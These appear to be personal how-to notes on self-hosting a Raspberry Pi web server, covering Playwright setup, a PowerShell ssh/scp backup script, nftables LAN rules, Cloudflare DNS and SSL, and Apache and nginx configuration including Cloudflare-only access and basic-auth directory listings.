    libgstreamer-plugins-base1.0-0 \
    libvpx-dev \
    libevent-dev \
    libglib2.0-0 \
    libwebp-dev \
    libharfbuzz-dev \
    libenchant-2-2 \
    libsecret-1-0 \
    libhyphen0 \
    libflite1 \
    libx264-dev

sudo apt-get install gstreamer1.0-plugins-base gstreamer1.0-plugins-good gstreamer1.0-plugins-bad gstreamer1.0-plugins-ugly gstreamer1.0-libav

sudo apt-get install libmanette-0.2-0

sudo apt-get install woff2

# install virtual environment
sudo apt install python3.11-venv

# create virtual environment ( this will create a folder named myenv )
cd ~
sudo python3 -m venv myenv

# enter to virtual environment
source myenv/bin/activate

# to exit execute
#deactivate

# install playwright
pip install playwright

# download browsers  Chromium / Firefox / ffmpeg / Webkit ( by https://playwright.azureedge.net/builds )
playwright install

# create a file
sudo nano test.py

# run
python test.py

# contents of test.py - https://stackoverflow.com/a/77062039
from playwright.sync_api import sync_playwright

with sync_playwright() as p:
    browser = p.chromium.launch(headless=True)
    context = browser.new_context()
    page = context.new_page()
    page.goto('https://www.ab.gr/el/eshop/Oporopoleio/Lachanika/Chorta/Pantzaria-ston-Atmo-Viologika-Eisagogis-500g/p/7650216')
 
    html_source = page.content()

    file_path = 'web_response_play.html'

    # Write page response to file
    with open(file_path, 'w', encoding='utf-8') as file:
       file.write(html_source)
 
    # Print the HTML source
    print(html_source)
 
    # Close the browser
    browser.close()


# troubleshooting
# info of the installation ( inside virtual environment )
pip show playwright
# delete browsers ( outside virtual environment )
rm -rf ~/.cache/ms-playwright

windows powershell script - backup to linux and transfer the files with scp

#original article python - https://abstractexpr.com/2023/05/07/simple-raspberry-pi-backup/
#using '--to-stdout' on powershell working but because the transfer made ASCII (not binary) the archive becomes corrupted.
#solution is to create the archive on linux /tmp folder, then transfer it to windows with scp
# Define backup directories and user host
$BACKUP_DIRS = @('/var/www', '/var/Logs')
$USER_HOST = 'xxx@192.168.1.155'
$DATE = (Get-Date -Format "yyyy-MM-dd")
$ARCHIVE_NAME = "backup_$DATE.tar.gz"
$TEMP_DIR = "/tmp"  # Temporary directory on the Linux machine
$MYSQL_BACKUP_NAME = "mysql_backup_$DATE.sql.gz"

# Check if the archive already exists on the Windows machine
if (Test-Path ".\$ARCHIVE_NAME") {
    Write-Host "Backup archive $ARCHIVE_NAME already exists. Aborting execution." -ForegroundColor Red
    exit 1
}

# Create a tar.gz backup of the specified directories on the Linux machine
$backupDirsString = $BACKUP_DIRS -join ' '
Write-Host "Creating backup of directories: $backupDirsString on Linux machine..."
$tarCommand = "ssh $USER_HOST 'tar -czf $TEMP_DIR/$ARCHIVE_NAME $backupDirsString' 2> error.log"
$res = Invoke-Expression $tarCommand

if ($LASTEXITCODE -ne 0) {
    Write-Host "Failed to create backup archive on Linux machine" -ForegroundColor Red
    exit 1
}

# Create a MySQL backup on the Linux machine
Write-Host "Creating MySQL backup on Linux machine..."
$mysqlCommand = "ssh $USER_HOST 'mysqldump --all-databases | gzip -c > $TEMP_DIR/$MYSQL_BACKUP_NAME'"
$res = Invoke-Expression $mysqlCommand

if ($LASTEXITCODE -ne 0) {
    Write-Host "Failed to backup MySQL data on Linux machine" -ForegroundColor Red
    exit 1
}

# Transfer the archive and MySQL backup to the Windows machine using scp
Write-Host "Transferring backup files to Windows machine..."
$scpCommand = "scp ${USER_HOST}:${TEMP_DIR}/${ARCHIVE_NAME} ."
$res = Invoke-Expression $scpCommand

if ($LASTEXITCODE -ne 0) {
    Write-Host "Failed to transfer backup archive to Windows machine" -ForegroundColor Red
    exit 1
}

$scpMysqlCommand = "scp ${USER_HOST}:${TEMP_DIR}/$MYSQL_BACKUP_NAME ."
$res = Invoke-Expression $scpMysqlCommand

if ($LASTEXITCODE -ne 0) {
    Write-Host "Failed to transfer MySQL backup to Windows machine" -ForegroundColor Red
    exit 1
}

# Optionally, clean up the temporary files on the Linux machine
Write-Host "Cleaning up temporary files on Linux machine..."
$cleanupCommand = "ssh $USER_HOST 'rm $TEMP_DIR/$ARCHIVE_NAME $TEMP_DIR/$MYSQL_BACKUP_NAME'"
$res = Invoke-Expression $cleanupCommand

if ($LASTEXITCODE -ne 0) {
    Write-Host "Failed to clean up temporary files on Linux machine" -ForegroundColor Red
    exit 1
}

# Housekeeping: Keep only the 3 most recent backups
$backupFiles = Get-ChildItem -Filter "backup_*.tar.gz" | Sort-Object LastWriteTime -Descending
if ($backupFiles.Count -gt 3) {
    $filesToDelete = $backupFiles | Select-Object -Skip 3
    foreach ($file in $filesToDelete) {
        Remove-Item $file.FullName -Force
        Write-Host "Deleted old backup: $($file.Name)" -ForegroundColor Yellow
    }
}

$mysqlBackupFiles = Get-ChildItem -Filter "mysql_backup_*.sql.gz" | Sort-Object LastWriteTime -Descending
if ($mysqlBackupFiles.Count -gt 3) {
    $filesToDelete = $mysqlBackupFiles | Select-Object -Skip 3
    foreach ($file in $filesToDelete) {
        Remove-Item $file.FullName -Force
        Write-Host "Deleted old MySQL backup: $($file.Name)" -ForegroundColor Yellow
    }
}

Write-Host "Backup completed successfully."

Mounting sshfs drives on a Windows client - sshfs for Windows [2]
(2018) Raspberry Pi Email Server complete solution | Raspberry Pi as a personal Email server

Port numbers at Domain registrar in domain name

A domain identifies a host, or a computer. So a domain name resolves to the IP address of that computer. A domain name does not and cannot identify a given port on that computer. It's not a simple text substitution where www.abc.com gets turned in to whatever string you want, it has to be a valid IP address.

What you should really be doing is configuring Apache with multiple virtual hosts so that it will respond to different domains appropriately, all on port 80. The documentation on this can be found here. (source)

PiMyLifeUp - Raspberry Pi SSL Certificates using Certbot & Let’s Encrypt SSL
Kemp - Load Balancer in your Home Network [2]
My CloudFlare domain currently uses port 443 into my network and I want to use port 80

Adjust nftables rules to allow SSH + mysql access, only by LAN (when 192.168.1.x)

table inet filter {
    chain input {
        type filter hook input priority filter; policy accept;

        # Allow SSH from the LAN
        ip saddr 192.168.1.0/24 tcp dport 22 accept

        # Allow MySQL from the LAN
        ip saddr 192.168.1.0/24 tcp dport 3306 accept

        # Drop SSH from other sources
        tcp dport 22 drop

        # Drop MySQL from other sources
        tcp dport 3306 drop

Self-signed certificate - no trusted anymore (2017)

Like so many tutorials out there the outcome of the tutorial I followed was a self-signed certificate using OpenSSL. Yep self-signed, that was the problem. The browser could not trust the server due to it's certificate which is signed by itself.

A certificate has to be signed by an external trustworthy certificate authority (CA). So I stumbled upon Let's Encrypt which does all the work for you and is even easier to set up and the best is: it is absolutely free. (source)

Some domain registrars offer SSL certification while others do not. When offers SSL certification, needed to download & install the certificate on your web server.

tbc

# enable default-ssl.conf file
a2ensite default-ssl
#to disable - sudo a2dissite default-ssl

# enabling module ssl
a2enmod ssl

# install certbot
sudo apt-get install certbot python3-certbot-apache

# configure virtual hosts for ssl + update the certication files
sudo nano /etc/apache2/sites-enabled/default-ssl.conf

# restart apache
systemctl restart apache2

# verify apache configuration (incl default-ssl.conf)
sudo apache2ctl configtest

 

[Costas]

https on Raspberry with Cloudflare in nutshell

for the following you will need

• a domain name
• a free registration on cloudflare

SSL provided by cloudflare out of the box, doing a ssl test results a grade B, because is not supporting TLS 1.2, who cares!?

On web server not any configuration made for SSL connection and not certbot used. The browser SSL connection illustrated

Universal SSL - By default, Cloudflare issues - and renews - free, unshared, publicly trusted SSL certificates to all domains added to and activated on Cloudflare. (source)

Before continue, make sure router port forwarding the port 80 to raspberry.

Validate with canyouseeme as nowadays most internet providers blocking ports 1-1024.. If you have a case like that contact support!

There is no way to avoid port 80.. this is how it works. Read the 'Port numbers at Domain registrar in domain name' on above post.

Be advised occupying the port 443 will result conflicts on websites / apps on LAN computers. The port 443 is not used for the current article setup.

1. create a new account to cloudflare.
2. buy a domain to a domain registrant

Login to cloudflare > add new website > add the domain registered on step 2, will show two nameservers

you have to add them to domain registrant.

Wait ~20-30minutes till see the success on cloudflare as

On DNS records you have to tie the domain with your IP by adding two A records as

one is your domain registered on step 2 example 83u4283274.xyz
one is a plain www to support the www.83u4283274.xyz
both has as content your IP.

using subdomains with cloudflare
alter virtual hosts file

sudo nano /etc/apache2/sites-available/000-default.conf

<VirtualHost *:8080>
        ServerName 83u4283274.xyz
        DocumentRoot /var/www/home

        RemoteIPHeader CF-Connecting-IP
        # Log file location
        CustomLog /var/myLogs/access.log common
        ErrorLog /var/myLogs/error.log
</VirtualHost>

<!-- directives getting inherited, we explicitly override CustomLog + ErrorLog to write to different files -->
<VirtualHost *:8080>
   ServerName blog.83u4283274.xyz
   DocumentRoot /var/www/blog

   CustomLog /var/myLogs/blog-access.log common
   ErrorLog /var/myLogs/blog-error.log
<!-- test -->
   <Directory /var/www/blog>
       # Deny access to all other file types than
       <FilesMatch "\.(?!png|jpg|gif|css|php|html|js$)">
           Require all denied
       </FilesMatch>
   </Directory>
</VirtualHost>
<!-- source - https://dev.to/tikam02/configuring-domains-and-sub-domains-in-apache-webserver-1bl1-->

move your existing files by /var/www to /var/www/home this will be the new root folder for the domain.

# create the blog folder with
mkdir /var/www/blog

# create a dummy index
sudo nano /var/www/blog/index.html

# all must have owner the www-data user
sudo chown -R www-data:www-data /var/www

# check config for errors
sudo apachectl configtest

# restart apache
sudo systemctl restart apache2

go to cloudflare and add a new A record for blog as :

---

Using Cloudflare, now apache logging Cloudflare IPs, using CF-Connecting-IP header for log allows to get visitor IP
Cloudflare - Restoring original visitor IPs using apache mod_remoteip (mirror)

nftables itself does not have the capability to inspect HTTP headers directly, as it operates at the network layer (Layer 3) and does not parse application-layer protocols like HTTP. Solution use apache rules.

apache block lists
https://iplists.firehol.org/ - download local copy
https://github.com/rodneylab/blocklists/blob/main/lists.yml
https://mybroadband.co.za/forum/threads/using-nftables-for-blocklists.1260138/
https://www.wizcrafts.net/htaccess-blocklists.html

Include external file in apache conf

---

Cloudflare - Dynamic DNS (DDNS)
K0p1-Git/cloudflare-ddns-updater - .sh script to update Cloudflare and/or send notifications (ref) (video) - tested&working
Using Cloudflare on your website could be blocking RSS users

---

sshguard - protects hosts from brute-force attacks
tailscale (raspberry pi)
Nftfw - Nftables firewall builder for Debian

Website with 6^16 subpages and 80k+ daily bots
How I built this website on a Raspberry Pi

 

[Costas]

cPanel is designed to operate on specific Linux distributions, primarily CentOS, CloudLinux, and Red Hat Enterprise Linux (RHEL). Debian, does not meet the requirements for cPanel installation.

If you're looking for a control panel for a Raspberry Pi, you might consider alternatives that are more compatible with Debian-based systems, such as:

• Webmin - a web-based interface for system administration for Unix.
• Ajenti - a modern control panel that is lightweight and easy to use.
• Froxlor - a server management panel that can run on Debian-based systems.
• ISPconfig - an alternative cpanel for raspberry

---

mitchellkrogza/nginx-ultimate-bad-bot-blocker (homepage)
mitchellkrogza/apache-ultimate-bad-bot-blocker [2]
nginx-badbot-blocker

Building a Simple Bot Protection With NGINX JavaScript Module and TypeScript (github)
Secure your NGINX locations with JWT

ngx_http_autoindex_module - Enabling the Nginx Directory Index Listing [2]
Bjorn - A powerful network scanning and offensive security tool for Raspberry Pi

 

[Costas]

installing nginx

by default, installation uses the following configuration file

/etc/nginx/sites-enabled/default​

remove the symbolic link for default

# the symbolic link allows Nginx to use the configuration defined in sites-available
sudo rm /etc/nginx/sites-enabled/default

# reload nginx
sudo systemctl reload nginx

create server configuration file with symbolic link

# name as you wish the configuration file
sudo nano /etc/nginx/sites-available/83u4283274.conf

# create symbolic link to folder sites-enabled (allows Nginx to use it)
sudo ln -s /etc/nginx/sites-available/83u4283274.conf /etc/nginx/sites-enabled/

# test configuration file
sudo nginx -t

# restart
sudo systemctl restart nginx

php enabled on server config

# sample of /etc/nginx/sites-available/83u4283274.conf
server {
    listen 8080;
    server_name 83u4283274.xyz;

    root /var/www/home;
    index index.php index.html index.htm;

    access_log /var/myLogs/access.log;
    error_log /var/myLogs/error.log;

    location / {
        try_files $uri $uri/ =404;
    }
# source - https://reintech.io/blog/configuring-php-fpm-nginx-debian-12
    location ~ \.php$ {
        include snippets/fastcgi-php.conf;
        fastcgi_pass unix:/run/php/php8.2-fpm.sock;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        include fastcgi_params;
    }
}

php pdo sqlite
php.ini + pdo_sqlite configuration as described for apache above

# customize php.ini as you wish
sudo systemctl restart php8.2-fpm
sudo systemctl restart nginx

cloudflare - log remote_ip on nginx

# source - https://developers.cloudflare.com/support/troubleshooting/restoring-visitor-ips/restoring-original-visitor-ips/

# reference - http://nginx.org/en/docs/http/ngx_http_realip_module.html
# see if '--with-http_realip_module' exists to your Nginx installation (most probably does)
nginx -V

# edit nginx configuration
sudo nano /etc/nginx/nginx.conf

# add the following below http block
http {
# cloudflare IPs
        set_real_ip_from 103.21.244.0/22;
        set_real_ip_from 103.22.200.0/22;
        set_real_ip_from 103.31.4.0/22;
        set_real_ip_from 104.16.0.0/13;
        set_real_ip_from 104.24.0.0/14;
        set_real_ip_from 108.162.192.0/18;
        set_real_ip_from 131.0.72.0/22;
        set_real_ip_from 141.101.64.0/18;
        set_real_ip_from 162.158.0.0/15;
        set_real_ip_from 172.64.0.0/13;
        set_real_ip_from 173.245.48.0/20;
        set_real_ip_from 188.114.96.0/20;
        set_real_ip_from 190.93.240.0/20;
        set_real_ip_from 197.234.240.0/22;
        set_real_ip_from 198.41.128.0/17;
        set_real_ip_from 2400:cb00::/32;
        set_real_ip_from 2606:4700::/32;
        set_real_ip_from 2803:f800::/32;
        set_real_ip_from 2405:b500::/32;
        set_real_ip_from 2405:8100::/32;
        set_real_ip_from 2a06:98c0::/29;
        set_real_ip_from 2c0f:f248::/32;

        real_ip_header CF-Connecting-IP;

# beware to change made to 'log format' as the cloudflare page mentioning :
# To Include the original visitor IP in your logs, add the variables $http_cf_connecting_ip and $http_x_forwarded_for in the log_format directive.
# incase you needed (at /etc/nginx/nginx.conf > inside http block) :
# log_format main '$remote_addr - $remote_user [$time_local] "$request" '                   '$status $body_bytes_sent "$http_referer" '                   '"$http_user_agent" "$http_cf_connecting_ip" "$http_x_forwarded_for"';


# restart
sudo systemctl restart nginx

cloudflare - log remote_ip on nginx & disable all non-clouldflare incoming requests
source - frankindev (mirror)

# source - https://frankindev.com/2020/11/18/allow-cloudflare-only-in-nginx/
# reference - http://nginx.org/en/docs/http/ngx_http_realip_module.html
# see if '--with-http_realip_module' exists to your Nginx installation (most probably does)
nginx -V

# edit nginx configuration
sudo nano /etc/nginx/nginx.conf

# include the following to http block
http {

    map $http_x_forwarded_for $real_client_ip {
        ~^(\d+\.\d+\.\d+\.\d+) $1;
        default $http_cf_connecting_ip;
    }

    log_format custom_log_format '$real_client_ip - $remote_user [$time_local] '
                                 '"$request" $status $body_bytes_sent '
                                 '"$http_host" "$upstream_response_time"'
                                 '"$http_referer" "$http_user_agent"';

---

# create a new file /etc/nginx/allow-cloudflare-only.conf and paste :
# https://www.cloudflare.com/ips
allow 103.21.244.0/22;
allow 103.22.200.0/22;
allow 103.31.4.0/22;
allow 104.16.0.0/13;
allow 104.24.0.0/14;
allow 108.162.192.0/18;
allow 131.0.72.0/22;
allow 141.101.64.0/18;
allow 162.158.0.0/15;
allow 172.64.0.0/13;
allow 173.245.48.0/20;
allow 188.114.96.0/20;
allow 190.93.240.0/20;
allow 197.234.240.0/22;
allow 198.41.128.0/17;
allow 2400:cb00::/32;
allow 2606:4700::/32;
allow 2803:f800::/32;
allow 2405:b500::/32;
allow 2405:8100::/32;
allow 2a06:98c0::/29;
allow 2c0f:f248::/32;

# deny all remaining ips
deny all;

---

#on server configuration example /etc/nginx/sites-available/83u4283274.conf
server {
    listen 8080;
    server_name 83u4283274.xyz;

    root /var/www/home;
    index index.php index.html index.htm;
# this line defines the custom_log_format;
    access_log /var/myLogs/access.log custom_log_format;
    error_log /var/myLogs/error.log;
# and this line includes the allow/deny rules
    include /etc/nginx/allow-cloudflare-only.conf;

    location / {
        try_files $uri $uri/ =404;
    }

    location ~ \.php$ {
        include snippets/fastcgi-php.conf;
        fastcgi_pass unix:/run/php/php8.2-fpm.sock;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        include fastcgi_params;
    }
}

# restart
sudo systemctl restart nginx

use built-in html dirlist with authorization
After success login the browser then sends the credentials in the Authorization header with each subsequent request to the same resource. This header contains a base64-encoded string of the format username : password. Basic authentication does not create a session or store any information in the browser. Instead, the browser remembers the credentials for the duration of the session (or until the browser is closed).

# source - https://docs.nginx.com/nginx/admin-guide/security-controls/configuring-http-basic-authentication/

# install
sudo apt install apache2-utils

# generate password for user testuser
sudo htpasswd -c /etc/nginx/.htpasswd testuser

# on servers configuration file, must have these
    location / {
        auth_basic "Restricted Access";
        auth_basic_user_file /etc/nginx/.htpasswd;

        autoindex on;
        autoindex_exact_size off;
        autoindex_format html;
        autoindex_localtime on;
    }

# restart
sudo systemctl restart nginx

customize the html dirlist

<!-- source - https://www.linickx.com/css-styling-nginx-directory-listings -->

<!-- [1] create /var/html/nginx-before.txt -->

<!DOCTYPE html>
<html lang="en">
<head>
        <title>files</title>
        <meta charset="utf-8" />
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/water.css@2/out/water.css">
        <link href="https://fonts.googleapis.com/css?family=Gloria+Hallelujah|Sigmar+One&v2" rel="stylesheet" type="text/css">
 
        <style> * { font-family: Gloria Hallelujah; } </style>
</head>

<body>
<div>

<!-- [2] create /var/html/nginx-after.txt -->
</div>

</body>
</html>

<!-- [3] on server configuration example /etc/nginx/sites-available/83u4283274.conf -->
server {
    listen 8080;
    server_name blog.83u4283274.xyz;

    root /var/www/blog;
.
.
.
    location / {
        auth_basic "Restricted Access";
        auth_basic_user_file /etc/nginx/.htpasswd;
<!-- the files are one folder back so it will not be visible to the user -->
        add_before_body /../nginx-before.txt;
        add_after_body /../nginx-after.txt;
        autoindex on;
        autoindex_exact_size off;
        autoindex_format html;
        autoindex_localtime on;
    }

<!--
alternative
https://github.com/aperezdc/ngx-fancyindex
use of https://neilmenon.com/blog/install-nginx-fancyindex/
-->